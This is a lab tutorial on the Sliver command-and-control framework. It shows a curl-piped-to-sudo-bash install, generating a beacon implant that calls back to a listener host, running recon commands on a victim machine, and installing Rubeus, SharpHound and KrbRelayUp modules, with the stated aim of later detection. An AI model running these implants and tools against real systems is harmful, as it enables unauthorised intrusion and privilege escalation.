Install Sliver

Install is nice and simple, just run the following in your test environment. Piping into bash is generally not a great practise, always get the code being hosted to make sure you know what is being installed. We've built this on a Kali image for ease of install and use.Kali install is as easy as grabbing the virtual image and bringing that into VirtualBox or VMWare Workstation. This will install and start the Sliver service ready for you to connnect.

curl https://sliver.sh/install|sudo bash
								

Restarting the Service

If the Sliver service doesn’t start at boot or stops for some reason the below commands will get you up and running again.

systemctl start sliver
sliver
								

Initial Use and Implant Generation

The first Sliver command we'll run is help which gives us an understansing of what we can do from this initial menu. Some of the useful commands to start with are;

• jobs - This will show you all the current jobs including the listeners you've started.
• generate - This will be where we generate our first implant to run on a victim asset.
• http, https, mtls - These commands will start their respective listeners ready to catch the communication back from your implant.
• sessions - This will list out all of the current sessions from victim machines and using the session ID we can interact with them
• use - Once we have a session ID we can interact with that asset using the use command. From there we can begin to execute further commands.
• armory - Armory is a repository for extra goodness. Form here we can install modules such as Certify and Kerberoasting. These can then be run on a victim asset.

Initial Implant Generation

The generate command is used to build our beacon for a Windows target. The structure of the command is;

generate --{beacon type} {callback IP Address or Hostname} --save {Local folder for beacon to be written} --debug
								

We use the debug flag to see what is happening on our victim machine, as we are more concerned with being able to use and ultimately detect this tool having the debug information is useful.

generate --http 10.1.1.60 --save /home/kali/Desktop --debug
								

Now you will have an executable you can run on your victim machine. Make sure there is network connectivity on TCP port 80 between the victim machine and your Sliver server.

Start HTTP Listener

The http command is used to start our listener ready to catch the connection from our freshly generated implant. You can confirm the listener has started with the jobs command.

http
jobs
								

Now you will have an executable you can run on your victim machine. Make sure there is network connectivity on TCP port 80 between the victim machine and your Sliver server.

Start Executing Commands

Run the implant on your victim machine, in our case it was called CAUTIOUS_RANGE, and check the call back within Sliver. You can see a lot of information within the debug logs showing what is going on during this stage. If there is no debug flag your executable will just run and close the window.

On the Sliver server you will see the beacon checking in and you can execute the use command to begin interacting with it. For this example we are a low privileged user without local administrator privileges. We will use some of the most common tools to attempt to increase our privileges locally and on the Domain.

Run some light recon

We will begin with understanding our current privileges and whether we have any useful privileges or group memberships. This will get us used to the syntax for the execute command. Below are the two Sliver commands we'll run. The -o flag will return the results to us, without this the execution will occur but we will not see the results. This can be useful for certain commands but not for something like a whoami.

In addition, there is a built in Sliver whoami command that is relatively undetectable, however this simply looks at the current user token and grabs the username. It does not return any groups or privileges held by the user, so it’s not that useful.

execute -o whoami /all
execute -o net localgroup "administrators"
								

Output from out whoami command showing that we are currently running as a Medium Mandatory Level which is a low privileged normal user account. If we were running as a High Mandatory Level we would be in a local admin context. We can see from this whoami that we are part of the local admin groups, so it will be a matter of using a UAC bypass to spawn a new admin level beacon. We will go through this and the KrbRelayUp in the next blog post

Below is the output from the net localgroup confirming we are a direct member of the local administrators group.

Armory

The armory command allows for managing these add-ons and we will install a few in order to progress the attack in the next article. Below shows the armory output, items highlighted in blue/green are installed. The armory repository can be found here;

https://github.com/sliverarmory/armory

armory
								

You can install individual armory modules as shown below by copying their name from the armory repo output.

armory install rubeus
armory install sharp-hound-3
armory install krbrelayup
								

Or if you are lazy like me just install all the modules using the all flag.

armory install all
								

Next Steps

Next up we will progress the attack using common techniques to attempt to escalate both locally and within the Domain. For the 3rd article we will then put all of this together with logs from the endpoint and show how all of these techniques can be detected with Windows Security and Sysmon logs.

If you have questions feel free to reach out via any of the below mechanisms and we would be more than happy to work through any issues or queries with you.